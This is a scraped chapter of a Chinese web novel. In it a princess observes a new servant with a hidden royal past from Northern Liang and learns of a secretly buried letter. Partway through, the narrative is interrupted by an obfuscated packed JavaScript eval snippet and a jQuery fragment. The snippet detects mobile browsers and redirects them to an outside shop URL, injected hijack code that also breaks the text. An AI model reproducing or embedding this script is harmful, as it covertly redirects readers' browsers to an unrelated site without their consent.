默认冷灰
24号文字
方正启体

6. 第六章

作者:白局看客本书字数:K更新时间:
    三日后,常离搬进了正院。


    说是搬,其实不过是把他从听竹轩挪到正院后罩房的一间小屋。屋子不大,一张榻、一张桌、一把椅子,窗纸上破了个洞,漏进来的风带着凉意。


    阿箬来看了两眼,皱着眉说:“这也太简陋了。”


    常离却连连摆手:“够了够了,比属下以前住的——”,话说到一半,忽然顿住。


    阿箬好奇地看着他:“比什么?”


    “没什么。”常离低下头,“谢姑娘关心。”


    阿箬狐疑地看了他一眼,没再多问,转身回去复命了。


    常离的第一份差事,是洒扫。


    正院的洒扫本来有专人负责,但阿箬说了,公主的意思是“让他从头做起”。于是他就拎着一把扫帚,从正院门口开始,一点一点往里面扫。


    春日正好,阳光暖洋洋地晒着,几只麻雀在院墙上跳来跳去,叽叽喳喳地叫,常离扫几下,抬头看一眼正屋的方向,再扫几下,再看一眼。


    扫到第三遍的时候,身后传来一声嗤笑。


    他回头,看见一个穿着绿色圆领袍的小黄门站在廊下,正抱着胳膊看他,“你是新来的那个?”小黄门槐安上下打量着他,“长得倒是不错,怎么干活这么磨叽?这一亩三分地,你扫了三遍了。”


    常离愣了一下,低头看看自己扫过的地方,脸微微红了。


    “我,我再扫一遍。”


    “别扫了。”槐安走过来,压低声音,“殿下让你进去。”


    常离握紧了扫帚柄,正屋里,应韫正坐在窗前看书,听见脚步声,她没有抬头,只是翻了一页。


    常离在门口站定,行了个叉手礼:“属下见过公主。”


    “嗯。”


    沉默。


    常离不知道该怎么办,只好继续站着。


    阳光从窗户照进来,落在她身上,把她半边脸镀上一层淡淡的金色。她今日穿了件浅碧色的褙子,头发松松地挽着,几缕碎发散在耳侧,前世也是这样春日的午后,她也是这样坐在窗前看书。他悄悄走过去,从背后捂住她的眼睛,笑着说“猜猜我是谁”。


    她会笑着掰开他的手,回头嗔他:“除了你还有谁?”


    那时他觉得,这样的日子可以过一辈子。


    “看什么?”


    冰冷的声音把他拉回来。


    常离猛地低下头:“属下失礼。”


    应韫放下书,抬眼看他。


    “伤好了?”


    “好了。”他顿了顿,“多谢公主关心。”


    “谁关心你?”应韫冷笑,“怕你死在正院里,脏了我的地方。”


    常离没有辩解,只是低着头,老老实实地站着。


    应韫看着他这样,忽然觉得没意思。


    “阿箬说你扫了三遍地。”她问,“是嫌我院子不够干净?”


    常离抬起头,连忙解释:“不是,是属下...属下第一次当差,怕做不好,所以多扫了几遍。”


    “第一次?”


    他点头。


    “去把院子里的花浇了。”她懒懒撩起眼皮道。


    常离愣了一下:“花?”


    “廊下那几盆。”应韫重新拿起书,“浇完再扫一遍院子——这次只扫一遍。”


    常离应声去了。


    走到门口,他忽然停下来,回头看了她一眼,那一眼很短,可她还是注意到了。


    午后,应韫在廊下坐着晒太阳。


    常离在不远处浇花。他浇得很慢,每一盆都弯着腰,仔细地把水浇到根上,生怕漏掉一片叶子。


    阿箬端着茶走过来,看了一眼,小声说:“这人倒是个实诚的,让他浇花,他还真的一盆一盆慢慢浇。”


    应韫没说话。


    “殿下。”阿箬忽然压低声音,“您上次让奴婢打听北梁的事,有眉目了。”


    应韫的手微微一顿。


    “说。”


    阿箬看了看四周,确认没人,才凑近了道:“奴婢托人打听了一下,北梁皇室那边确实有些传闻。”


    “什么传闻?”


    “说是皇后十几年前突然失宠,自请搬去了冷苑,从此再没见过外人。”阿箬的声音更低了,“宫里宫外都传,是皇后做了什么对不起皇上的事。”


    应韫的眉头皱了起来。


    失宠?冷苑?


    她想起前世那些关于北梁的事儿,后位高悬多年,皇帝始终没有立新后,朝臣们催了无数次,皇帝就是不松口。


    当时她以为是皇帝深情,忘不了皇后,可现在想来...


    “还有呢?”


    “还有...”阿箬顿了顿,“北梁一直没立太子。”


    应韫的心里生出狐疑。


    没立太子?大皇子已经十六了,按说早该立储。可北梁偏偏一直悬着这个位置。


    “为什么?”


    “不知道。”阿箬摇头,“有人说是因为皇后的事,连累了皇子。也有人说是皇帝自己不愿意。”


    应韫沉默了很久。她想起常离那句“也许,是属下长得像什么人”。想起他什么都不会、什么都不懂的样子。想起他提到“家里”时那瞬间的停顿。


    “殿下。”阿箬小声问,“您觉得这个常离,会不会和北梁有什么关系?”


    应韫当然知道常离就是北梁人。


    她转头看向不远处那个正在浇花的人,看着他笨拙地弯着腰,小心翼翼地给每一盆花浇水,“打听一下,那北梁大皇子是个什么样的人?”


    傍晚,孙一事来了。


    “殿下。”他进门就压低声音,“张横有动静了。”


    应韫放下手里的书,书页被封吹得翻飞,她盯着被风翻至的卷末,上面一个浓墨重彩的“完”,才开口道,“说吧。”


    “今日午后,他去了一趟后山。”孙一事道,“说是捡柴火,但臣的人跟着他,发现他在一棵老松树下埋了一封信。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309596|198765||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    孙一事从袖中掏出一个油纸包,“臣让人等他走后挖了出来。”


    应韫接过油纸包,打开,里面是一张纸条,上面只有一行字:


    “事已办妥,静候佳音。”


    没有抬头,没有落款。


    应韫盯着这行字,看了很久。


    “谁的字迹?”她问。


    孙一事摇头:“臣看不出来,总之不是张横的。但臣让人抄了一份,留着比对。”


    应韫点点头,把纸条收好。


    “继续盯着。”她说,“他下次再去后山,立刻来报。”


    孙一事应声去了。


    夜里,应韫睡不着,她披衣起来,走到窗前,推开窗。


    月光很好,照得院子里一片银白。廊下的花盆整整齐齐地摆着,白日浇的水还在叶子上,亮晶晶的,她的目光落在后罩房的方向。


    那间小屋里,还亮着灯,这么晚了,他不睡,在干什么?她站了一会儿,忽然推开门,走了出去。


    后罩房的门虚掩着。


    应韫在门口站定,透过门缝往里看。


    常离坐在榻上,背对着门,手里拿着什么东西。烛光昏黄,照在他身上,在地上投下一个长长的影子,他低着头,肩膀微微颤抖,应韫看不清他在干什么,但她能感觉到他在哭。


    那个在刺客面前握着木棍挡在她身前的人,那个浑身是血还跑来找她的人,那个被她质疑要杀自己的人。


    她站了很久,却没有推门进去,只是在想,真的有人可以伪装面目、隐藏目的到私下也瞧不出他的真实模样吗?她转身,悄悄离开了。


    屋里,常离抬起头,看向门口,月光从门缝里漏进来,照在地上,像一条细细的银线,没有人。


    他低下头,看着手里的东西——一枚小小的玉佩,温润的玉质,雕着一只狸奴,那是母亲留给他的唯一一件东西,他被关在冷苑的那些年,只有这块玉佩陪着他。夜里睡不着的时候,他就攥着它,想象母后还在身边。


    后来他遇见她,后来她把这块玉佩要过去看了很久,笑着说“这狸奴刻得真像你”。


    再后来…


    那块玉佩就不在他手里了,他忘了是怎么给出去的,也许是她想要,他就给了,也许是他想送,她就收了,他只记得她收下的时候,眼里全是欣喜与珍爱,说“我一定好好戴着”。


    他真的以为,她会戴一辈子。


    直到新婚夜那晚,他被囚在一处高台,眼睁睁看着觥筹交错,听见锣鼓喧天,听见有人喊“陛下驾到”,然后他听见一声惨叫,很短,很闷,像是什么东西刺进血肉里的声音,他后来才知道,那是她杀了人。


    杀的却不是他,她应当杀了自己的。


    他攥紧玉佩,把脸埋进掌心。


    门外,应韫并没有走远,她站在廊下的阴影里,看着那扇透出微弱灯光的窗,夜风吹过来,带着春末的凉意,她拢了拢披着的外衫,看着静谧的夜晚,一丝睡意也无。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)